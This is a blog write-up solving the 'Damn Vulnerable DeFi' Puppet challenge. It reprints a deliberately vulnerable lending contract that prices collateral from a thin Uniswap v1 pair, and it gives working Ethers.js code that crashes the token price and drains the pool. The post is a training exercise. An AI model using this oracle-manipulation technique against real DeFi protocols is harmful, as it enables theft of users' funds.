Damn Vulnerable DeFi - Puppet

The contract

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

contract PuppetPool is ReentrancyGuard {
    using Address for address payable;

    uint256 public constant DEPOSIT_FACTOR = 2;

    address public immutable uniswapPair;
    DamnValuableToken public immutable token;

    mapping(address => uint256) public deposits;

    error NotEnoughCollateral();
    error TransferFailed();

    event Borrowed(address indexed account, address recipient, uint256 depositRequired, uint256 borrowAmount);

    constructor(address tokenAddress, address uniswapPairAddress) {
        token = DamnValuableToken(tokenAddress);
        uniswapPair = uniswapPairAddress;
    }

    // Allows borrowing tokens by first depositing two times their value in ETH
    function borrow(uint256 amount, address recipient) external payable nonReentrant {
        uint256 depositRequired = calculateDepositRequired(amount);

        if (msg.value < depositRequired)
            revert NotEnoughCollateral();

        if (msg.value > depositRequired) {
            unchecked {
                payable(msg.sender).sendValue(msg.value - depositRequired);
            }
        }

        unchecked {
            deposits[msg.sender] += depositRequired;
        }

        // Fails if the pool doesn't have enough tokens in liquidity
        if(!token.transfer(recipient, amount))
            revert TransferFailed();

        emit Borrowed(msg.sender, recipient, depositRequired, amount);
    }

    function calculateDepositRequired(uint256 amount) public view returns (uint256) {
        return amount * _computeOraclePrice() * DEPOSIT_FACTOR / 10 ** 18;
    }

    function _computeOraclePrice() private view returns (uint256) {
        // calculates the price of the token in wei according to Uniswap pair
        return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
    }
}

The contract itself is easy to read, and it seems clear that the only relevant thing is the function used to compute the price. If we can alter the balance of the Uniswap pair, we can make the required deposit lower, allowing us to retrieve the DVT from the lending pool.

The solution

The challenge description highlights the fact that the user has ten times the DVT of the Uniswap exchange: if we pour that many tokens in the pool, we can severely imbalance it and drain ETH from it. With the increased ETH we can now drain the lending pool, as the deposit required for the whole pool will be significantly low. Why is that? Mainly two reasons:

  1. we altered the numerator of "_computeOraclePrice", lowering it as the balance in the pool is now reduced;
  2. we increased the denominator by more than one hundred times.

This means that the overall computation will yield a much lower result, as we are multiplying by a smaller number and dividing it by a much bigger number.

To summarize the attack vector:

  1. the player must approve the Uniswap exchange to transfer their DVT;
  2. the player can now swap all his DVT for ETH, to imbalance the pool;
  3. with the increased ETH, the player can now borrow all of the lending pool's DVT with a small deposit required, effectively completing the challenge

Here is the code in Ethers.js to accomplish the steps described above:

        await token.connect(player).approve(uniswapExchange.address, await token.balanceOf(player.address));
        currentBlock = await ethers.provider.getBlockNumber();
        block = await ethers.provider.getBlock(currentBlock);
        rec_eth = await uniswapExchange.connect(player).tokenToEthSwapInput((await token.balanceOf(player.address)), 1, block.timestamp * 2);
        req_dep = await lendingPool.connect(player).calculateDepositRequired(token.balanceOf(lendingPool.address));

        if(req_dep <= await ethers.provider.getBalance(player.address)) {
            await lendingPool.connect(player).borrow(token.balanceOf(lendingPool.address), player.address, {value: req_dep});
        }

Merry hacking ;)


You'll only receive email when they publish something new.

More from emacab98
All posts